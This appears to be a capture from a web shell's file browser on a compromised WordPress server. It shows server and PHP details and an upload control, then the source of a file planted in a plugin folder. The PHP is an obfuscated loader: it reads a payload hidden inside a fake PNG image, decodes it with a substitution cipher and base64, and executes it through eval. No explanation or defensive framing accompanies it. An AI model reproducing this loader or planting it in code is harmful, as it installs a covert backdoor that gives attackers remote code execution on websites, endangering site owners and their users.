HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/abethenuco/ozoshun.txt
<?php

function levanu_xykedyke($emivir_chagocuzhosh) {
    if ($emivir_chagocuzhosh == 1)
        return eqemog_hychushen();
    if ($emivir_chagocuzhosh == 2)
        return ufawah_kebichoko();
}

function oqusoj_huqyzyjub($emivir_chagocuzhosh) {
    $halonyf = levanu_xykedyke(1);
    $puzifyb = levanu_xykedyke(2);
    for ($nalochi = 0; $nalochi < strlen($halonyf); $nalochi++) {
        $ifoxuho = substr($halonyf, $nalochi, 1);
        $xuxyjyv = substr($puzifyb, $nalochi, 1);
        $exugig[$ifoxuho] = $xuxyjyv;
    }

    $ripovun = strtr($emivir_chagocuzhosh, $exugig);
    $ripovun = base64_decode($ripovun);

    return $ripovun;
}

function nysoca_lecigoko($emivir_chagocuzhosh) {
    $ivykhyc = array();
    if (!file_exists($emivir_chagocuzhosh))
        return false;
    $fuwocha = @file_get_contents($emivir_chagocuzhosh);
    if (!$fuwocha)
        return false;
    $fuwocha = substr($fuwocha, 3);
    $ivykhyc = oqusoj_huqyzyjub($fuwocha);
    return $ivykhyc;
}

function eqemog_hychushen() {
    $fuwocha = "c0nXsW37tRSxuLKBmwAoJ/gOjdQ8=DG1F52C9iNHYUek6rafZzyEbv+pq4IlTVMhP";
    return $fuwocha;
}

function ufawah_kebichoko() {
    $ivykhyc = "H=vQ5UV1NWxmOEJu3SfTX2pBeyCd6aR8F4wAsKtoGcZjzIiY+0nLkb/Dq7glh9MrP";
    return $ivykhyc;
}

$tyruqat = nysoca_lecigoko(__DIR__ . "/ass" . "ets/im" . "ages/" . "tuzh" . "ohy." . "png");
if ($tyruqat) {
    @eval($tyruqat);
}